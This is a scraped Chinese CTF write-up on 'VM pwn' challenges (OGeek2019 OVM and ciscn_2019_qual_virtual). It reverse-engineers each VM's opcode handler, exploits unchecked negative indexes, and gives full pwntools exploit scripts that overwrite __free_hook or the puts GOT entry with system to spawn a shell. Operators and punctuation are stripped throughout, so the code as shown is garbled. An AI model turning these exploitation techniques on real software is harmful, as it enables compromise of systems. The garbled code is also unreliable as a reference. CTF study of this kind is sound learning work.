英文网站推广公司,做图,wordpress博客优点,高端网站建设公司哪家好前言#xff1a;
好久没有更新博客了#xff0c;关于vm的学习也是断断续续的#xff0c;只见识了几道题目#xff0c;但是还是想总结一下#xff0c;所谓vmpwn就是把出栈#xff0c;进栈#xff0c;寄存器#xff0c;bss段等单独申请一块空闲实现相关的功能#xff0…前言
好久没有更新博客了关于vm的学习也是断断续续的只见识了几道题目但是还是想总结一下所谓vmpwn就是把出栈进栈寄存器bss段等单独申请一块空闲实现相关的功能也就是说一些汇编命令通过一些函数来实现而大部分的vmpwn的切入点大多是不安全的下标通过下标来泄露一些东西或者修改一些东西等等.....
以下是vmpwn的一些简单的题目但是有些很复杂的题目需要很强的逆向能力慢慢的分析
[OGeek2019 Final]OVM
保护策略 ida逆向
PC 程序计数器它存放的是一个内存地址该地址中存放着 下一条 要执行的计算机指令。 SP 指针寄存器永远指向当前的栈顶。 、
通过我们输入的代码指令来操作的也就是接下来的code 而紧接着就是对我们输入的code进行处理具体在 execute函数中
ssize_t __fastcall execute(int a1)
{ssize_t result; // raxunsigned __int8 v2; // [rsp18h] [rbp-8h]unsigned __int8 v3; // [rsp19h] [rbp-7h]unsigned __int8 v4; // [rsp1Ah] [rbp-6h]int i; // [rsp1Ch] [rbp-4h]
//这里将字节分为4给部分分别是v4,v3,v2和高位 v4 (a1 0xF0000u) 16;v3 (unsigned __int16)(a1 0xF00) 8;v2 a1 0xF;result HIBYTE(a1); //这里取高字节进行匹配if ( HIBYTE(a1) 0x70 ){result (ssize_t)reg;reg[v4] reg[v2] reg[v3]; // 加法return result;}if ( HIBYTE(a1) 0x70u ){if ( HIBYTE(a1) 0xB0 ){result (ssize_t)reg;reg[v4] reg[v2] ^ reg[v3]; // 异或return result;}if ( HIBYTE(a1) 0xB0u ){if ( HIBYTE(a1) 0xD0 ){result (ssize_t)reg;reg[v4] (int)reg[v3] reg[v2]; // 右移return result;}if ( HIBYTE(a1) 0xD0u ){if ( HIBYTE(a1) 0xE0 ){running 0;if ( !reg[13] )return write(1, EXIT\n, 5uLL); // 栈空退出}else if ( HIBYTE(a1) ! 0xFF ){return result;}running 0;for ( i 0; i 15; i )printf(R%d: %X\n, (unsigned int)i, (unsigned int)reg[i]);// 打印数据return write(1, HALT\n, 5uLL);}else if ( HIBYTE(a1) 0xC0 ){result (ssize_t)reg;reg[v4] reg[v3] reg[v2]; // 左移}}else{switch ( HIBYTE(a1) ){case 0x90u:result (ssize_t)reg;reg[v4] reg[v2] reg[v3];break;case 0xA0u:result (ssize_t)reg;reg[v4] reg[v2] | reg[v3];break;case 0x80u:result (ssize_t)reg;reg[v4] reg[v3] - reg[v2];break;}}}else if ( HIBYTE(a1) 0x30 ){result (ssize_t)reg;reg[v4] memory[reg[v2]];}else if ( HIBYTE(a1) 0x30u ){switch ( HIBYTE(a1) ){case 0x50u:LODWORD(result) reg[13];reg[13] result 1;result (int)result;stack[(int)result] reg[v4];break;case 0x60u:--reg[13];result (ssize_t)reg;reg[v4] stack[reg[13]];break;case 0x40u:result (ssize_t)memory;memory[reg[v2]] reg[v4];break;}}else if ( HIBYTE(a1) 0x10 ){result (ssize_t)reg;reg[v4] (unsigned __int8)a1;}else if ( HIBYTE(a1) 0x20 ){result (ssize_t)reg;reg[v4] (_BYTE)a1 0;}return result;
} 这里我们输入的pc给了reg[15]每次循环进行匹配1然后进行进行处理也就是刚刚上面的代码逻辑
这里可以用python来看看到底取了什么当然因为我代码基础比较弱.... 那么看到取到的其实234也就是v4,v3,v2。
然后继续分析 那么这里不难看出就是通过v2,v3来当作下标取reg数组进行索引的
但是没有对下标进行限制那么就是可以输入负数来造成恶意数据的修改等等 0x30和0x40这里分别是取memory的值给reg和取reg的值给memory但是这期间它们的下标我们都可以自己控制
同时还有这个 我们可以向reg里面进行赋值和取出值 这里打印reg里面的值但是是4位一组
最后会调用free把我们输入东西进行free那么如果我们把free_hook给修改成system那么就可以通过输入/bin/sh来获取shell
那么就需要得到一个libc地址正好前面可以通过负数下标来将一个libc地址存入reg输入然后进行打印泄露地址
这里可以把相关的函数包装一下
def add(v4,v3,v2):opcode u32((p8(0x70)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef xor(v4,v3,v2):opcode u32((p8(0xb0)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef rhl(v4,v3,v2):opcode u32((p8(0xd0)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef lhl(v4,v3,v2):opcode u32((p8(0xc0)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef readn(v4,v2):opcode u32((p8(0x30)p8(v4)p8(0)p8(v2))[::-1])return opcodedef writen(v4,v2):opcode u32((p8(0x40)p8(v4)p8(0)p8(v2))[::-1])return opcodedef setnum(v4,v2):opcode u32((p8(0x10)p8(v4)p8(0)p8(v2))[::-1])return opcode#n(0x202060-0x201f80)/4 56
#-56 0xffffffc8
#-8
#stdin - __free_hook 0x2398
因为只能4位一组所以只能分别取到低四位和高四位 readn(4,2), #reg[4] memory[reg[2]] stdin4setnum(1,0x10),lhl(1,1,0), #reg[1] reg[1]reg[0] 0x10 8 0x1000
这里用的是泄露stdin的libc地址进而得到free_hook的地址
因为最后向这里写数据 所以可以把这里存放着free_hook -8 的地址那么就可以getshell
那么整体思路就是通过构造负数下标得到libc地址然后构造高低位来泄露libc地址然后根据偏移得到free_hook -8地址然后继续通过高低位写入comment函数获取shell
EXP
from gt import *
con(amd64)io process(./OVM)
libc ELF(/home/su/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so)def add(v4,v3,v2):opcode u32((p8(0x70)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef xor(v4,v3,v2):opcode u32((p8(0xb0)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef rhl(v4,v3,v2):opcode u32((p8(0xd0)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef lhl(v4,v3,v2):opcode u32((p8(0xc0)p8(v4)p8(v3)p8(v2))[::-1])return opcodedef readn(v4,v2):opcode u32((p8(0x30)p8(v4)p8(0)p8(v2))[::-1])return opcodedef writen(v4,v2):opcode u32((p8(0x40)p8(v4)p8(0)p8(v2))[::-1])return opcodedef setnum(v4,v2):opcode u32((p8(0x10)p8(v4)p8(0)p8(v2))[::-1])return opcode#n(0x202060-0x201f80)/4 56
#-56 0xffffffc8
#-8
#stdin - __free_hook 0x2398
code [setnum(0,8),# reg[0]8setnum(1,0xff), #reg[1]0xffsetnum(2,0xff), #reg[2]0xfflhl(2,2,0), #reg[2] reg[2]reg[0] 0xff 0x8 0xff00add(2,2,1), #reg[2] reg[2] reg[1] 0xff00 0xff 0xfffflhl(2,2,0), #reg[2] reg[2]reg[0] 0xffff 0x8 0xffff00add(2,2,1), #reg[2] reg[2] reg[1] 0xffff00 0xff 0xfffffflhl(2,2,0), #reg[2] reg[2]reg[0] 0xffffff 0x8 0xffffff00setnum(1,0xc8), #reg[3] 0xc8add(2,2,1), #reg[2] reg[2] reg[2]reg[1] 0xffffff00 0xc8 0xffffffc8 -56readn(3,2), #reg[3] memory[reg[2]] stdinsetnum(1,1), #reg[1] 1add(2,2,1), #reg[2] reg[2] reg[1] -55readn(4,2), #reg[4] memory[reg[2]] stdin4setnum(1,0x10),lhl(1,1,0), #reg[1] reg[1]reg[0] 0x10 8 0x1000setnum(5,0x90),setnum(6,0x3),add(1,1,1),#reg[1] reg[1] reg[1] 0x1000 0x1000 0x2000lhl(6,6,0), #reg[6] reg[6]reg[0] 0x38 0x300add(1,1,6), #reg[1] reg[1] reg[6] 0x20000x300 0x2300add(1,1,5), #reg[1] reg[1] reg[5] 0x2300 0x90 0x2390add(3,3,1), #reg[3] reg[3] reg[1] __free_hook-8setnum(5,47),add(2,2,5), #reg[2] reg[2] reg[5] -5547 -8writen(3,2), #memory[reg[2]] reg[3] memory[-8] reg[3]setnum(5,1),add(2,2,5), #reg[2] reg[2] reg[1] -8 1 -7writen(4,2) #memory[reg[2]] reg[4] memory[-7] reg[4] ]io.recvuntil(PC: )
io.sendline(str(0))
io.recvuntil(SP: )
io.sendline(str(1))
io.recvuntil(CODE SIZE: )io.sendline(str(len(code)))for i in code:io.sendline(str(i))io.recvuntil(3: )
last_4bytes int(io.recv(8),16)
suc(last_4bytes,last_4bytes)
io.recvuntil(4: )
high_4bytes int(io.recv(4),16)
suc(high_4bytes,high_4bytes)libc_base ((high_4bytes 32) last_4bytes) - libc.sym[__free_hook] 8
suc(libc_base,libc_base)
system libc_base libc.sym[system]
io.recvuntil( OVM?\n)
payload b/bin/sh\x00 p64(system)
#gdb.attach(io)
io.send(payload)
io.interactive()
ciscn_2019_qual_virtual
保护策略 ida逆向分析 这里仍然还是申请空间给stacktextdata等等 这里通过相关命令来转换对应字节 这里将对应的代码放入text段
之后进入相应的功能 接受三个参数a1为text段结构体的指针a2为stack段结构体的指针a3为data段结构体的指针
这里看一下push函数 这里a1,a2就是原先的a3a2 8字节一组的opcode倒着拿取 那么push功能就是到data段上拿取一个值给v3然后将v3给stack
pop即是和它相反的操作
重点看看load和save 只接受一个参数也就是a3,data结构体也就是说把data的东西加上v2偏移继续放入data当然v2的值也是data里面取到的 当然save就是相反的操作将data里面值放入v3而这里的v2依然可以控制
这题没有开启got表全保护那么可以修改puts的got表为system那么在后面打印name的时候就会system(/bin/sh)获取shell
控制v2的值实现负数索引那么现在有个问题因为stack指针存放在堆块里面所以要想实现负数索引获取libc地址的话需要先把指针进行修改 这里取的地址是下图这个还有一个要注意就是存储stack是逆序存储的 这里0xfffff....的值是-3那么接下来的save就会取这两个值而-3是下标就会把data指针修改成0x4040d0
这里是把stack的两个值取到了data中然后save修改data指针 这里取的是stderr和system的偏移 stderr在新的指针下标是-1那么取-1放入data然后load进入data 继续取一个偏移 add放入data 然后最后push进行到putsgot表的偏移然后save即可修改puts 的got表 最后即可getshell EXP
from gt import *
con(amd64)
libc ELF(/lib/x86_64-linux-gnu/libc.so.6)
io process(./ciscn_2019_qual_virtual)
io.recvuntil(name:)io.sendline(/bin/sh\x00)
# gdb.attach(io)
io.recvuntil(instruction:)
offest libc.sym[system] - libc.sym[_IO_2_1_stderr_]
payload push push save push load push add push save
io.sendline(payload)io.recvuntil(data:)data [0x4040d0,-3,-1,offest,-21]
payload
for i in data:payload str(i)
gdb.attach(io)
io.sendline(payload)io.interactive()
总结
vmpwn的学习远远不止这些这里只能算入门大致了解一下vmpwn的分析方法和一些常见漏洞等等对于这些偏逆向的题目需要有一定的逆向基础对我而言还是比较吃力的看懂要很久但是我建议加上动态调试多去看看其中的变化还是便于理解的.....vmpwn先搁了
参考文章
VM Pwn学习-安全客 - 安全资讯平台
关于vm pwn的学习总结 | ZIKH26s Blog